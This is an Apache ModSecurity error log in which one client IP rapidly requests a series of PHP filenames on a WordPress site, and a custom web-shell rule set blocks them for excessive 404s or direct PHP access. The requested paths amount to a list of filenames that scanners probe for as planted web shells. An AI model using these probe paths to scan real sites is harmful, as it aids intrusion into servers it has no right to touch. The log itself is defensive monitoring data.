[Sun Dec 28 18:42:20.553589 2025] [:error] [pid 42294:tid 42361] [client 172.192.64.62:7040] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVEJjNTE5kYcYCOzl9GtpQAAAIs"]
[Sun Dec 28 18:42:20.822505 2025] [:error] [pid 29388:tid 29400] [client 172.192.64.62:6988] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVEJjNoLv2L2zI_SpdXNEQAAAUQ"]
[Sun Dec 28 18:42:21.133372 2025] [:error] [pid 43789:tid 43792] [client 172.192.64.62:6984] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVEJjQa-tUppni4CcCYg8wAAAQE"]
[Sun Dec 28 18:42:21.385257 2025] [:error] [pid 43789:tid 43803] [client 172.192.64.62:7144] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVEJjQa-tUppni4CcCYg9AAAAQw"]
[Sun Dec 28 18:42:21.641461 2025] [:error] [pid 42294:tid 42367] [client 172.192.64.62:7073] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVEJjdTE5kYcYCOzl9GtpgAAAJE"]
[Sun Dec 28 18:42:21.872977 2025] [:error] [pid 42294:tid 42358] [client 172.192.64.62:7147] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVEJjdTE5kYcYCOzl9GtpwAAAIg"]
[Sun Dec 28 18:42:22.106635 2025] [:error] [pid 42294:tid 42351] [client 172.192.64.62:7087] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVEJjtTE5kYcYCOzl9GtqgAAAIE"]
[Sun Dec 28 18:42:22.361444 2025] [:error] [pid 42294:tid 42357] [client 172.192.64.62:7158] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVEJjtTE5kYcYCOzl9GtrQAAAIc"]
[Sun Dec 28 18:42:22.607443 2025] [:error] [pid 43789:tid 43791] [client 172.192.64.62:7110] [client 172.192.64.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aVEJjga-tUppni4CcCYg-AAAAQA"]
[Sun Dec 28 18:42:22.930889 2025] [:error] [pid 42294:tid 42359] [client 172.192.64.62:7092] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVEJjtTE5kYcYCOzl9GtrwAAAIk"]
[Sun Dec 28 18:42:23.173199 2025] [:error] [pid 42294:tid 42366] [client 172.192.64.62:7081] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVEJj9TE5kYcYCOzl9GtsAAAAJA"]
[Sun Dec 28 18:42:23.495406 2025] [:error] [pid 42294:tid 42369] [client 172.192.64.62:7047] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVEJj9TE5kYcYCOzl9GtsQAAAJM"]
[Sun Dec 28 18:42:23.766677 2025] [:error] [pid 29436:tid 29452] [client 172.192.64.62:7067] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aVEJj7chzOOtNL9VPNLUCQAAAY0"]
[Sun Dec 28 18:42:24.143073 2025] [:error] [pid 42294:tid 42360] [client 172.192.64.62:7001] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aVEJkNTE5kYcYCOzl9GtswAAAIo"]
[Sun Dec 28 18:42:24.408797 2025] [:error] [pid 42293:tid 42323] [client 172.192.64.62:7155] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aVEJkMvc9B-5cwN385LQ3gAAAEA"]
[Sun Dec 28 18:42:24.683997 2025] [:error] [pid 43789:tid 43813] [client 172.192.64.62:6976] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aVEJkAa-tUppni4CcCYg_AAAARY"]
[Sun Dec 28 18:42:24.975123 2025] [:error] [pid 42293:tid 42327] [client 172.192.64.62:7043] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVEJkMvc9B-5cwN385LQ4AAAAEQ"]
[Sun Dec 28 18:42:25.287997 2025] [:error] [pid 42292:tid 42320] [client 172.192.64.62:6990] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVEJkZyOrM_vaFx1osY5KAAAABg"]
[Sun Dec 28 18:42:25.553478 2025] [:error] [pid 42294:tid 42373] [client 172.192.64.62:7072] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVEJkdTE5kYcYCOzl9GttgAAAJc"]
[Sun Dec 28 18:42:25.854431 2025] [:error] [pid 42294:tid 42358] [client 172.192.64.62:7076] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVEJkdTE5kYcYCOzl9GttwAAAIg"]
[Sun Dec 28 18:42:26.109230 2025] [:error] [pid 42294:tid 42363] [client 172.192.64.62:7106] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aVEJktTE5kYcYCOzl9GtugAAAI0"]
[Sun Dec 28 18:42:26.370819 2025] [:error] [pid 29436:tid 29439] [client 172.192.64.62:7029] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aVEJkrchzOOtNL9VPNLUEAAAAYA"]
[Sun Dec 28 18:42:26.745999 2025] [:error] [pid 42294:tid 42372] [client 172.192.64.62:7020] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aVEJktTE5kYcYCOzl9GtuwAAAJY"]
[Sun Dec 28 18:42:27.025175 2025] [:error] [pid 29436:tid 29441] [client 172.192.64.62:7002] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aVEJk7chzOOtNL9VPNLUEgAAAYI"]
[Sun Dec 28 18:42:27.350003 2025] [:error] [pid 42378:tid 42383] [client 172.192.64.62:6922] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aVEJkzgtcN-KHAjWrX8InQAAAMM"]
[Sun Dec 28 18:42:27.610616 2025] [:error] [pid 43789:tid 43792] [client 172.192.64.62:7000] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aVEJkwa-tUppni4CcCYhAQAAAQE"]
[Sun Dec 28 18:42:27.889085 2025] [:error] [pid 29388:tid 29420] [client 172.192.64.62:6997] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aVEJk9oLv2L2zI_SpdXNFwAAAVg"]
[Sun Dec 28 18:42:28.133324 2025] [:error] [pid 29436:tid 29452] [client 172.192.64.62:6989] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aVEJlLchzOOtNL9VPNLUFgAAAY0"]
[Sun Dec 28 18:42:28.395630 2025] [:error] [pid 42292:tid 42309] [client 172.192.64.62:7157] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVEJlJyOrM_vaFx1osY5KgAAAA0"]
[Sun Dec 28 18:42:28.631491 2025] [:error] [pid 29388:tid 29413] [client 172.192.64.62:6927] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVEJlNoLv2L2zI_SpdXNGQAAAVE"]
[Sun Dec 28 18:42:28.880689 2025] [:error] [pid 29437:tid 29470] [client 172.192.64.62:6914] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVEJlBhDotAbVk6pZLeumAAAAcQ"]
[Sun Dec 28 18:42:29.121391 2025] [:error] [pid 42294:tid 42368] [client 172.192.64.62:7103] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVEJldTE5kYcYCOzl9GtvQAAAJI"]
[Sun Dec 28 18:42:29.365091 2025] [:error] [pid 29388:tid 29398] [client 172.192.64.62:7091] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVEJldoLv2L2zI_SpdXNGgAAAUI"]
[Sun Dec 28 18:42:29.601565 2025] [:error] [pid 42293:tid 42343] [client 172.192.64.62:7107] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVEJlcvc9B-5cwN385LQ4QAAAFQ"]
[Sun Dec 28 18:42:29.846669 2025] [:error] [pid 42292:tid 42319] [client 172.192.64.62:6992] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVEJlZyOrM_vaFx1osY5LQAAABc"]
[Sun Dec 28 18:42:30.126576 2025] [:error] [pid 42293:tid 42328] [client 172.192.64.62:6924] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVEJlsvc9B-5cwN385LQ4gAAAEU"]
[Sun Dec 28 18:42:30.372420 2025] [:error] [pid 42294:tid 42365] [client 172.192.64.62:7078] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aVEJltTE5kYcYCOzl9GtvgAAAI8"]
[Sun Dec 28 18:42:30.599157 2025] [:error] [pid 42293:tid 42347] [client 172.192.64.62:6929] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aVEJlsvc9B-5cwN385LQ4wAAAFg"]
[Sun Dec 28 18:42:30.831812 2025] [:error] [pid 29436:tid 29460] [client 172.192.64.62:6978] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aVEJlrchzOOtNL9VPNLUGgAAAZU"]
[Sun Dec 28 18:42:31.121807 2025] [:error] [pid 43789:tid 43793] [client 172.192.64.62:7018] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aVEJlwa-tUppni4CcCYhBgAAAQI"]
[Sun Dec 28 18:42:31.459935 2025] [:error] [pid 42378:tid 42389] [client 172.192.64.62:7071] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aVEJlzgtcN-KHAjWrX8IoAAAAMk"]
[Sun Dec 28 18:42:31.725843 2025] [:error] [pid 29388:tid 29407] [client 172.192.64.62:7036] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aVEJl9oLv2L2zI_SpdXNHwAAAUs"]
[Sun Dec 28 18:42:31.976727 2025] [:error] [pid 43789:tid 43797] [client 172.192.64.62:7019] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aVEJlwa-tUppni4CcCYhCQAAAQY"]
[Sun Dec 28 18:42:32.225995 2025] [:error] [pid 43789:tid 43807] [client 172.192.64.62:6982] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aVEJmAa-tUppni4CcCYhCgAAARA"]
[Sun Dec 28 18:42:32.497794 2025] [:error] [pid 43789:tid 43806] [client 172.192.64.62:6981] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVEJmAa-tUppni4CcCYhDAAAAQ8"]
[Sun Dec 28 18:42:32.771804 2025] [:error] [pid 29388:tid 29405] [client 172.192.64.62:7008] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVEJmNoLv2L2zI_SpdXNIgAAAUk"]
[Sun Dec 28 18:42:33.018961 2025] [:error] [pid 29388:tid 29410] [client 172.192.64.62:6856] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVEJmdoLv2L2zI_SpdXNIwAAAU4"]
[Sun Dec 28 18:42:33.270330 2025] [:error] [pid 43789:tid 43798] [client 172.192.64.62:7016] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVEJmQa-tUppni4CcCYhDQAAAQc"]
[Sun Dec 28 18:42:33.526846 2025] [:error] [pid 42294:tid 42374] [client 172.192.64.62:6923] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aVEJmdTE5kYcYCOzl9GtwAAAAJg"]
[Sun Dec 28 18:42:33.770920 2025] [:error] [pid 42294:tid 42354] [client 172.192.64.62:7007] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aVEJmdTE5kYcYCOzl9GtwQAAAIQ"]
[Sun Dec 28 18:42:34.012412 2025] [:error] [pid 42294:tid 42353] [client 172.192.64.62:6949] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aVEJmtTE5kYcYCOzl9GtwgAAAIM"]
[Sun Dec 28 18:42:34.331633 2025] [:error] [pid 42294:tid 42373] [client 172.192.64.62:7118] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aVEJmtTE5kYcYCOzl9GtwwAAAJc"]
[Sun Dec 28 18:42:34.665465 2025] [:error] [pid 43789:tid 43795] [client 172.192.64.62:6932] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aVEJmga-tUppni4CcCYhDgAAAQQ"]
[Sun Dec 28 18:42:34.943511 2025] [:error] [pid 43789:tid 43804] [client 172.192.64.62:7027] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aVEJmga-tUppni4CcCYhDwAAAQ0"]
[Sun Dec 28 18:42:35.286866 2025] [:error] [pid 29388:tid 29416] [client 172.192.64.62:6999] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aVEJm9oLv2L2zI_SpdXNJgAAAVQ"]
[Sun Dec 28 18:42:35.610198 2025] [:error] [pid 42294:tid 42367] [client 172.192.64.62:7034] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aVEJm9TE5kYcYCOzl9GtxQAAAJE"]
